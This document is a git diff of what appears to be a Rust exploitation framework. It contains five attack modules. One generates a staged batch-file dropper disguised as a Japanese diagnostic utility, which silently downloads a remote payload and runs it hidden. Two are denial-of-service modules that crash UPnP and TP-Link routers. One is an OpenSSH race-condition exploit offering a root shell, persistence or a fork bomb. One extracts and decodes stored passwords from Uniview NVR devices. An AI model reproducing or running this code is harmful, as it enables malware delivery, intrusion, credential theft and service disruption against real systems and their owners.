echo echo Creating final stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
echo set part1={part1_b64}
echo set part2={part2_b64}
echo powershell -WindowStyle Hidden -Command ^^"
echo $p1 = $env:part1;
echo $p2 = $env:part2;
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
echo ^^"
echo exit
echo ) > "{s4}"
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
echo start "" /B "{s4}" :: Launch stage 4 in background
echo exit
echo ) > "{s3}"
echo start "" /B "{s3}" :: Launch stage 3 in background
echo exit
) > "{s2}"
start "" /B "{s2}" :: Launch stage 2 in background
exit
"#);
fs::write(_stage1, stage1_contents)?;
Ok(())
}
pub async fn run(_target: &str) -> Result<()> {
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
println!("[+] Stage 1 payload written to {stage1_name}");
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
Ok(())
}
+1
View File
@@ -1 +1,2 @@
pub mod payloadgenbat;
pub mod batgen;
@@ -1,24 +1,18 @@
//! Build a twostage prank/diagnostic BAT script with stealth download & run.
//! Prompts for: output .bat, GitHub raw URL (.EXE), and output .ps1 name.
use anyhow::{Context, Result};
use std::fs;
use std::io::{self, Write};
/// Read a trimmed line from stdin
fn prompt(msg: &str) -> Result<String> {
print!("{msg}");
io::stdout().flush().ok();
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_owned())
}
/// Build the BAT contents (injecting URL & PS1 filename)
fn build_script(url: &str, ps1_name: &str) -> String {
// Template with placeholders {{URL}} and {{OUTFILE}}
let tpl = r#"@echo off
setlocal enabledelayedexpansion
:: === Delay Functions ===
:SleepS
rem Usage: call :SleepS ^<seconds^>
ping -n %1 127.0.0.1 ^>nul
goto :eof
:SleepMS
rem Usage: call :SleepMS ^<milliseconds^>
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
goto :eof
title [管理者診断ユーティリティ]
color 0A
@@ -26,108 +20,127 @@ echo =====================================================
echo 管理者用ネットワーク/システム診断ユーティリティ
echo =====================================================
echo [+] 初期化中...
timeout /t 2 >nul
call :SleepS 2
:: Fake diagnostic functions
echo [INFO] ネットワークスタック確認中...
netsh winsock show catalog >nul
netsh winsock show catalog ^>nul
call :SleepS 1
echo [INFO] システムリソースの照会...
fsutil behavior query DisableDeleteNotify >nul
fsutil behavior query DisableDeleteNotify ^>nul
call :SleepS 1
echo [INFO] DCOM設定の確認...
dcomcnfg /32 >nul
timeout /t 1 >nul
dcomcnfg /32 ^>nul
call :SleepS 1
echo [INFO] ユーザーアクティビティを確認中...
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 >nul
timeout /t 1 >nul
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 ^>nul
call :SleepS 1
echo [INFO] 不審な接続をスキャン中...
netstat -bno >nul
route print >nul
timeout /t 1 >nul
netstat -bno ^>nul
route print ^>nul
call :SleepS 1
echo [INFO] システムサービス確認中...
sc queryex type= service >nul
timeout /t 1 >nul
sc queryex type= service ^>nul
call :SleepS 1
echo [INFO] WMI チェック中...
wmic logicaldisk get caption,filesystem,freespace,size >nul
timeout /t 1 >nul
wmic logicaldisk get caption,filesystem,freespace,size ^>nul
call :SleepS 1
echo [INFO] CPU 負荷チェック...
wmic cpu get loadpercentage ^>nul
call :SleepS 1
echo [INFO] メモリ空き容量チェック...
systeminfo | findstr /C:"Available Physical Memory" ^>nul
call :SleepS 1
echo [INFO] レジストリ設定検証...
reg query HKLM\SOFTWARE ^>nul
call :SleepS 1
:: 50x random sub-sleeps
echo [*] 詳細検証を実行中... (50 ステップ)
for /l %%i in (1,1,50) do (
set /a delay=(%%RANDOM%% %% 60) + 120
powershell -Command "Start-Sleep -Milliseconds !delay!"
set /a delay=(%RANDOM% %% 60) + 120
call :SleepMS !delay!
)
:: Random delay before launching stage 2
set /a mainDelay=(%%RANDOM%% %% 4) + 3
echo [INFO] 補助診断モジュールを準備中... (%%mainDelay%% 秒後に実行)
timeout /t %%mainDelay%% >nul
set /a mainDelay=(%RANDOM% %% 4) + 3
echo [INFO] 補助診断モジュールを準備中... (%mainDelay% 秒後に実行)
call :SleepS %mainDelay%
:: Build second stage BAT (stage2.bat)
set "stage2=%%~dp0stage2.bat"
set "stage2=%~dp0stage2.bat"
(
echo @echo off
echo setlocal enabledelayedexpansion
echo :: === Delay Functions ===
echo :SleepS
echo rem Usage: call :SleepS ^<seconds^>
echo ping -n %%1 127.0.0.1 ^>nul
echo goto :eof
echo
echo :SleepMS
echo rem Usage: call :SleepMS ^<milliseconds^>
echo powershell -Command "Start-Sleep -Milliseconds %%1" ^>nul
echo goto :eof
echo
echo title 補助診断モジュール
echo echo [*] ネットワークテストを再実行中...
echo ping -n 2 1.1.1.1 ^>nul
echo tracert -h 2 8.8.8.8
echo ipconfig /flushdns
echo timeout /t 2 ^>nul
echo call :SleepS 2
echo echo [*] ランダム遅延を実行中...
echo set /a delay2=(^%%RANDOM^%% %% 8) + 3
echo timeout /t !delay2! ^>nul
echo set /a delay2=(%%RANDOM%% %% 8) + 3
echo call :SleepS !delay2!
echo echo [*] GitHub からモジュールを取得中...
echo set "url={{URL}}"
echo set "outfile=%%~dp0{{OUTFILE}}"
echo powershell -Command ^
"try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { " ^
"try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { " ^
"$wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!', '!outfile!') }}"
echo timeout /t 2 ^>nul
echo powershell -Command "try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { $wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!','!outfile!') } }"
echo if not exist "!outfile!" (
echo echo [ERROR] ダウンロードに失敗しました。
echo exit /b 1
echo )
echo call :SleepS 2
echo echo [*] ステルス起動用VBSを生成中...
echo ^(
echo Set shell = CreateObject("WScript.Shell"^)
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""{{OUTFILE}}""", 0, False
echo Set shell = CreateObject("WScript.Shell")
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""!outfile!""", 0, False
echo ^) ^> "%%~dp0launch_hidden.vbs"
echo timeout /t 1 ^>nul
echo call :SleepS 1
echo echo [*] スクリプト実行中...
echo cscript //nologo "%%~dp0launch_hidden.vbs"
echo del "%%~dp0launch_hidden.vbs" ^>nul
echo del "%%stage2%%" ^>nul
echo echo [*] 補助診断完了。
) > "%%stage2%%"
) > "%stage2%"
:: Random delay before running stage 2
set /a rdelay=(%%RANDOM%% %% 5) + 2
echo [INFO] stage2.bat を %%rdelay%% 秒後に実行します...
timeout /t %%rdelay%% >nul
set /a rdelay=(%RANDOM% %% 5) + 2
echo [INFO] stage2.bat を %rdelay% 秒後に実行します...
call :SleepS %rdelay%
:: Run stage2
call "%%stage2%%"
call "%stage2%"
echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
call :SleepS 2
pause
exit
"#;
tpl.replace("{{URL}}", url)
.replace("{{OUTFILE}}", ps1_name)
}
/// Public entry point for the exploit dispatcher
pub async fn run(_target: &str) -> Result<()> {
// === Gather inputs ====================================================
let out_bat = prompt("[+] Output BAT filename : ")?;
let raw_url = prompt("[+] GitHub raw .EXE URL : ")?;
let ps1_name = prompt("[+] Disguised PowerShell name : ")?;
// === Generate script ===================================================
let script = build_script(&raw_url, &ps1_name);
fs::write(&out_bat, script)
.with_context(|| format!("Could not write {}", out_bat))?;
println!("\n[+] Batch script saved to: {out_bat}");
Ok(())
.replace("{{OUTFILE}}", ps1_name)
}
@@ -13,6 +13,17 @@ use std::thread;
use std::time::Duration;
use tokio::join;
/// Normalize IPv6/IPv4/hostname and fix extra brackets
fn normalize_target_host(raw: &str) -> String {
// Remove outer brackets if any, then reapply correctly for IPv6
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{stripped}]")
} else {
stripped.to_string()
}
}
/// Send the malformed AddPortMapping SOAP request (PoC 1)
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
// Missing parameters PoC - will crash the router
@@ -41,7 +52,7 @@ async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
// Generate a long payload simulating memory corruption
// Memory corruption PoC using format string overflow
let long_payload = "%x".repeat(10_000);
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = format!(
@@ -70,7 +81,11 @@ async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
}
/// Entry point for the exploit module
pub async fn run(target: &str) -> Result<()> {
pub async fn run(raw_target: &str) -> Result<()> {
// Normalize target
let target = normalize_target_host(raw_target);
// Create HTTP client with insecure certs accepted and 5s timeout
let client = Client::builder()
.timeout(Duration::from_secs(5))
.danger_accept_invalid_certs(true)
@@ -83,7 +98,7 @@ pub async fn run(target: &str) -> Result<()> {
let stop_flag = Arc::new(AtomicBool::new(false));
let stop_flag_clone = Arc::clone(&stop_flag);
// Spawn a thread to monitor user input
// Monitor stdin for "stop" command
thread::spawn(move || {
let stdin = io::stdin();
for line in stdin.lock().lines() {
@@ -97,11 +112,11 @@ pub async fn run(target: &str) -> Result<()> {
}
});
// Infinite concurrent execution loop
// Continuous dual PoC attack until user stops
while !stop_flag.load(Ordering::Relaxed) {
let (r1, r2) = join!(
dos_missing_parameters(&client, target),
dos_memory_corruption(&client, target)
dos_missing_parameters(&client, &target),
dos_memory_corruption(&client, &target)
);
if let Err(e) = r1 {
@@ -6,7 +6,7 @@
// Tested on: TP-Link TL-WR740N
// Description:
// There exist a buffer overflow vulnerability in TP-Link TL-WR740 router
// There exists a buffer overflow vulnerability in TP-Link TL-WR740 router
// that can allow an attacker to crash the web server running on the router
// by sending a crafted request. To bring back the http (webserver),
// a user must physically reboot the router.
@@ -18,8 +18,22 @@ use std::io;
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Normalize IP to handle IPv6 and multiple brackets
fn normalize_ip(ip: &str) -> String {
// Remove all surrounding brackets
let mut ip = ip.trim_matches('[').trim_matches(']').to_string();
// Add brackets for IPv6
if ip.contains(':') && !ip.starts_with('[') {
ip = format!("[{}]", ip);
}
ip
}
/// Internal function to send crafted request to crash router
async fn exploit(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
// Normalize the IP for correct URL formatting
let ip = normalize_ip(ip);
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
let crash_pattern = "crash_crash_on_a_loop_";
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
@@ -67,7 +81,7 @@ async fn exploit(ip: &str, port: u16, username: &str, password: &str) -> Result<
}
// Check if the host is still up — timeout after 1 second
match timeout(Duration::from_secs(1), TcpStream::connect((ip, port))).await {
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
Ok(Ok(_)) => {
println!("[!] Target still responds on port {}. DoS likely failed.", port);
}
@@ -96,5 +110,5 @@ pub async fn run(target: &str) -> Result<()> {
io::stdin().read_line(&mut password)?;
let password = password.trim();
exploit(target, port, username, password).await
execute(target, port, username, password).await
}
@@ -1,14 +1,17 @@
use anyhow::{bail, Result};
use std::{
io::{self, BufRead, Read, Write},
net::TcpStream,
os::unix::io::AsRawFd,
process::Command,
sync::Arc,
time::{Duration, Instant},
};
use libc::{fcntl, F_GETFL, F_SETFL, O_NONBLOCK};
use tokio::{sync::Semaphore, task};
use std::io::{stdin, stdout, Write, BufRead};
use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::time::{sleep, Duration, Instant};
use tokio::process::Command;
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
use rand::Rng;
use std::sync::Arc;
use anyhow::{Result, bail};
use std::io::ErrorKind;
// // Shellcode to inject
const SHELLCODE: &[u8] = b"\x90\x90\x90\x90";
@@ -19,48 +22,72 @@ const LOGIN_GRACE_TIME: f64 = 120.0;
// // Max size of a crafted packet
const MAX_PACKET_SIZE: usize = 256 * 1024;
// // Max parallel attempts at once
const MAX_PARALLEL_ATTEMPTS: usize = 200;
// 2 MiB alignment
const GLIBC_ALIGN: u64 = 0x0020_0000;
// Lower/upper bounds for your targets glibc region
const GLIBC_LOWER: u64 = 0x7ffff7000000;
const GLIBC_UPPER: u64 = 0x7ffff9000000;
// Precompute how many slots are in that range
fn glibc_steps() -> u64 {
((GLIBC_UPPER - GLIBC_LOWER) / GLIBC_ALIGN) + 1
}
/// On-the-fly random, 2 MiB-aligned glibc base
fn random_glibc_base() -> u64 {
let steps = glibc_steps();
let idx = rand::rng().random_range(0..steps);
GLIBC_LOWER + idx * GLIBC_ALIGN
}
// // Align memory chunks
fn chunk_align(s: usize) -> usize {
(s + 15) & !15
}
// // Set socket to non-blocking
fn set_nonblocking(sock: i32) {
unsafe {
let flags = fcntl(sock, F_GETFL);
fcntl(sock, F_SETFL, flags | O_NONBLOCK);
// NEW: Normalize target address (IPv4, IPv6 with any bracket mess)
fn normalize_target(ip: &str, port: u16) -> Result<String> {
let ip = ip.trim_matches(|c| c == '[' || c == ']'); // Remove any number of [ ]
if ip.contains(':') && !ip.contains('.') {
Ok(format!("[{}]:{}", ip, port)) // IPv6 must have brackets
} else {
Ok(format!("{}:{}", ip, port)) // IPv4 or hostname
}
}
// // Create TCP connection to target
fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = format!("{}:{}", ip, port);
let stream = TcpStream::connect(addr)?;
set_nonblocking(stream.as_raw_fd());
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = TcpStream::connect(addr).await?;
Ok(stream)
}
// // Send custom SSH packet
fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let len = data.len() + 5;
let mut packet = vec![0u8; len];
packet[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet[4] = packet_type;
packet[5..].copy_from_slice(data);
stream.write_all(&packet)?;
stream.write_all(&packet).await?;
Ok(())
}
// // Receive response with retry
fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf) {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(_) => bail!("Connection closed"),
Err(ref e) if e.kind() == io::ErrorKind::WouldBlock => {
std::thread::sleep(Duration::from_millis(10));
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
sleep(Duration::from_millis(1)).await;
continue;
}
Err(e) => return Err(e.into()),
@@ -68,91 +95,98 @@ fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
}
}
// // Send SSH version string
fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n")?;
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
Ok(())
}
// // Receive SSH version from server
fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 256];
recv_retry(stream, &mut buffer)?;
recv_retry(stream, &mut buffer).await?;
Ok(())
}
// // Send SSH KEX INIT packet
fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
let payload = vec![0u8; 36];
send_packet(stream, 20, &payload)
send_packet(stream, 20, &payload).await
}
// // Receive KEX INIT response
fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 1024];
recv_retry(stream, &mut buffer)?;
recv_retry(stream, &mut buffer).await?;
Ok(())
}
// // Perform SSH handshake steps
fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream)?;
receive_ssh_version(stream)?;
send_kex_init(stream)?;
receive_kex_init(stream)?;
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream).await?;
receive_ssh_version(stream).await?;
send_kex_init(stream).await?;
receive_kex_init(stream).await?;
Ok(())
}
// // Heap spraying phase
fn prepare_heap(stream: &mut TcpStream) -> Result<()> {
async fn prepare_heap(stream: &mut TcpStream) -> Result<()> {
for _ in 0..10 {
let data = vec![b'A'; 64];
send_packet(stream, 5, &data)?;
send_packet(stream, 5, &data).await?;
}
for _ in 0..27 {
let large = vec![b'B'; 8192];
let small = vec![b'C'; 320];
send_packet(stream, 5, &large)?;
send_packet(stream, 5, &small)?;
send_packet(stream, 5, &large).await?;
send_packet(stream, 5, &small).await?;
}
for _ in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, GLIBC_BASES[0]);
send_packet(stream, 5, &fake)?;
send_packet(stream, 5, &fake).await?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill)?;
send_packet(stream, 5, &large_fill).await?;
Ok(())
}
// // Craft fake file structure in buffer
fn create_fake_file_structure(data: &mut [u8], base: u64) {
data.fill(0);
let len = data.len();
data[len - 16..len - 8].copy_from_slice(&base.wrapping_add(0x21b740).to_le_bytes());
data[len - 8..len].copy_from_slice(&base.wrapping_add(0x21d7f8).to_le_bytes());
}
// // Send malformed public key and measure delay
fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
};
let start = Instant::now();
send_packet(stream, 50, &error_packet)?;
let _ = stream.read(&mut [0u8; 1024]);
send_packet(stream, 50, &error_packet).await?;
let mut buf = [0u8; 1024];
let _ = stream.read(&mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
// // Calculate parsing delay
fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1)?;
let t2 = measure_response_time(stream, 2)?;
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
Ok(t2 - t1)
}
fn create_fake_file_structure(buf: &mut [u8], base: u64) {
if buf.len() >= 8 {
buf[..8].copy_from_slice(&base.to_le_bytes());
}
}
// // Create packet with shellcode and fake structures
fn create_public_key_packet(buffer: &mut [u8], base: u64) {
buffer.fill(0);
@@ -166,15 +200,19 @@ fn create_public_key_packet(buffer: &mut [u8], base: u64) {
}
// // Attempt to trigger race condition
fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -> Result<bool> {
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -> Result<bool> {
let mut payload = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut payload, base);
stream.write_all(&payload[..payload.len() - 1])?;
let start = Instant::now();
while start.elapsed().as_secs_f64() < (LOGIN_GRACE_TIME - parsing_time - 0.001) {}
stream.write_all(&payload[payload.len() - 1..])?;
stream.write_all(&payload[..payload.len() - 1]).await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
sleep(Duration::from_secs_f64(wait_time)).await;
stream.write_all(&payload[payload.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match stream.read(&mut buf) {
match stream.read(&mut buf).await {
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
Ok(0) => Ok(true),
Err(_) => Ok(true),
@@ -182,6 +220,7 @@ fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -
}
}
// // Execute post-exploitation action
fn post_exploit_action(option: u8) {
match option {
@@ -208,95 +247,107 @@ fn post_exploit_action(option: u8) {
// // Entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
println!("warning high resource usage Caustion!!!");
println!("560k request in 5 seconds");
println!("Select post-exploitation action:");
println!(" 1. Remote Root Shell");
println!(" 2. Persistence (create SSH user)");
println!(" 3. Server Destruction (fork bomb)");
let stdin = io::stdin();
let stdin = stdin();
let mut choice = String::new();
print!("Enter option [1-3]: ");
io::stdout().flush()?;
stdout().flush()?;
stdin.lock().read_line(&mut choice)?;
let mode: u8 = choice.trim().parse().unwrap_or(0);
if !(1..=3).contains(&mode) {
bail!("Invalid option.");
}
println!("Do you want to run more than 10,000 attempts? [y/N]");
println!("Do you want to run more than 10,000 attempts? [y/N or a number like 90000]");
let mut input = String::new();
stdin.lock().read_line(&mut input)?;
let extra = input.trim().eq_ignore_ascii_case("y");
let trimmed = input.trim();
let mut attempts = 10000;
if extra {
if trimmed.eq_ignore_ascii_case("y") {
println!("Enter total number of attempts:");
input.clear();
stdin.lock().read_line(&mut input)?;
attempts = input.trim().parse::<usize>().unwrap_or(10000);
} else if let Ok(n) = trimmed.parse::<usize>() {
attempts = n;
}
// // Parse IP and port — if missing, prompt for port
let (ip, port) = if let Some((ip_part, port_part)) = target.split_once(':') {
(ip_part.to_string(), port_part.parse::<u16>()?)
let (ip, port) = if let Some((ip_part, port_part)) = target.rsplit_once(':') {
let ip_clean = ip_part.trim_matches(|c| c == '[' || c == ']');
(ip_clean.to_string(), port_part.parse::<u16>()?)
} else {
// // Prompt for port if not included in the target string
println!("No set target ip:port specified. Enter SSH port for {}: ", target);
print!("Port: ");
io::stdout().flush()?;
stdout().flush()?;
let mut port_input = String::new();
io::stdin().lock().read_line(&mut port_input)?;
stdin.lock().read_line(&mut port_input)?;
let port = port_input.trim().parse::<u16>()?;
(target.to_string(), port)
(target.trim_matches(|c| c == '[' || c == ']').to_string(), port)
};
let semaphore = Arc::new(Semaphore::new(MAX_PARALLEL_ATTEMPTS));
let semaphore = Arc::new(Semaphore::new(100_000));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
for &base in &GLIBC_BASES {
println!("[*] Trying GLIBC base 0x{:x}", base);
let mut handles = vec![];
for attempt in 0..attempts {
let permit = semaphore.clone().acquire_owned().await?;
let ip = ip.clone();
let _mode = mode;
for attempt in 0..attempts {
let permit = semaphore.clone().acquire_owned().await?;
let ip = ip.clone();
let handle = task::spawn(async move {
let _permit = permit;
if attempt % 1000 == 0 {
println!("[*] Attempt {}/{}", attempt, attempts);
}
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip, port) {
Ok(s) => s,
Err(_) => return false,
};
if attempt % 1000 == 0 {
println!("[*] Attempt {}/{}", attempt, attempts);
}
if perform_ssh_handshake(&mut stream).is_err() {
return false;
}
// === NEW: pick a random glibc base each attempt ===
let base = random_glibc_base();
if prepare_heap(&mut stream).is_err() {
return false;
}
let mut stream = match setup_connection(&ip, port).await {
Ok(s) => s,
Err(_) => return Ok(false),
};
let Ok(parsing_time) = time_final_packet(&mut stream) else {
return false;
};
if perform_ssh_handshake(&mut stream).await.is_err() {
return Ok(false);
}
attempt_race_condition(stream, parsing_time, base).unwrap_or(false)
});
if prepare_heap(&mut stream).await.is_err() {
return Ok(false);
}
handles.push(handle);
}
let Ok(parsing_time) = time_final_packet(&mut stream).await else {
return Ok(false);
};
for h in handles {
if h.await.unwrap_or(false) {
Ok(attempt_race_condition(stream, parsing_time, base).await.unwrap_or(false))
}));
}
while let Some(result) = tasks.next().await {
match result {
Ok(Ok(true)) => {
println!("[+] Exploit succeeded!");
post_exploit_action(mode);
return Ok(());
}
Ok(Ok(false)) => continue,
Ok(Err(e)) => {
eprintln!("[!] Exploit error: {}", e);
continue;
}
Err(join_err) => {
eprintln!("[!] Join error: {}", join_err);
continue;
}
}
println!("[-] Exploit failed with base 0x{:x}", base);
}
println!("[-] All attempts exhausted.");
+5
View File
@@ -0,0 +1,5 @@
pub mod uniview_nvr_pwd_disclosure;
// pub mod
@@ -0,0 +1,198 @@
use anyhow::{anyhow, Context, Result};
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use std::time::Duration;
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"),
("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"),
("11","w"), ("4","x"), ("5","y"), ("6","z"),
]
.iter()
.cloned()
.collect();
encoded
.split(';')
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
.collect()
}
/// Strip any number of nested brackets and re-wrap once if IPv6
fn normalize_target(raw: &str) -> String {
// Preserve or default to http://
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
("http://", s)
} else if let Some(s) = raw.strip_prefix("https://") {
("https://", s)
} else {
("http://", raw)
};
// Split authority vs path
let (auth, path) = match after.find('/') {
Some(i) => (&after[..i], &after[i..]),
None => (after, ""),
};
// Separate host_part and port_part
let (host_part, port_part) = if auth.starts_with('[') {
if let Some(pos) = auth.rfind(']') {
(&auth[..=pos], &auth[pos + 1..])
} else {
(auth, "")
}
} else if auth.matches(':').count() > 1 {
// IPv6 without brackets
(auth, "")
} else if let Some(pos) = auth.rfind(':') {
// IPv4 or hostname with port
(&auth[..pos], &auth[pos..])
} else {
(auth, "")
};
// Peel away *all* outer brackets
let mut inner = host_part;
while inner.starts_with('[') && inner.ends_with(']') {
inner = &inner[1..inner.len() - 1];
}
// If it looks like IPv6, re-wrap exactly once
let wrapped = if inner.contains(':') {
format!("[{}]", inner)
} else {
inner.to_string()
};
format!("{}{}{}{}", scheme, wrapped, port_part, path)
}
pub async fn run(target: &str) -> Result<()> {
println!("\nUniview NVR remote passwords disclosure!");
println!("Author: B1t (ported to Rust)\n");
// Normalize URL (scheme, IPv6 brackets, port, path)
let target = normalize_target(target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10))
.build()
.context("Failed to build HTTP client")?;
// Fetch version info
println!("[+] Getting model name and software version...");
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_text = client
.get(&version_url)
.send().await?
.text().await
.context("Failed to fetch version")?;
let model = version_text
.split("szDevName\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
let sw_ver = version_text
.split("szSoftwareVersion\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("Model: {}", model);
println!("Software Version: {}", sw_ver);
// Prepare log file
let mut log = OpenOptions::new()
.create(true)
.append(true)
.open("nvr-success.txt")
.context("Unable to open nvr-success.txt")?;
writeln!(log, "\n==== Uniview NVR ====").ok();
writeln!(log, "Target: {}", target).ok();
writeln!(log, "Model: {}", model).ok();
writeln!(log, "Software Version: {}", sw_ver).ok();
// Fetch user config
println!("\n[+] Getting configuration file...");
let config_url = format!(
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
target
);
let config_text = client
.get(&config_url)
.send().await?
.text().await
.context("Failed to fetch config")?;
// XML reader with trimmed text
let mut reader = Reader::from_str(&config_text);
reader.config_mut().trim_text(true);
let mut buf = Vec::new();
let mut total_users = 0;
println!("\nUser | Stored Hash | Reversible Password");
println!("{}", "_".repeat(80));
